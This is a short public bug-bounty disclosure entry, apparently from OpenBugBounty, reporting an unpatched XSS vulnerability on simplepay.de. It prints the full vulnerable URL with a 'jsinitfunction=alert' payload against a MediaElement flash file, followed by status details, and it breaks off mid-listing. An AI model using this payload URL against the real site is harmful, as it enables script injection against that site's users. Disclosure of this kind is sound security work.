simplepay.de XSS vulnerability

Vulnerable URL: https://www.simplepay.de/assets/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1864827 VIP...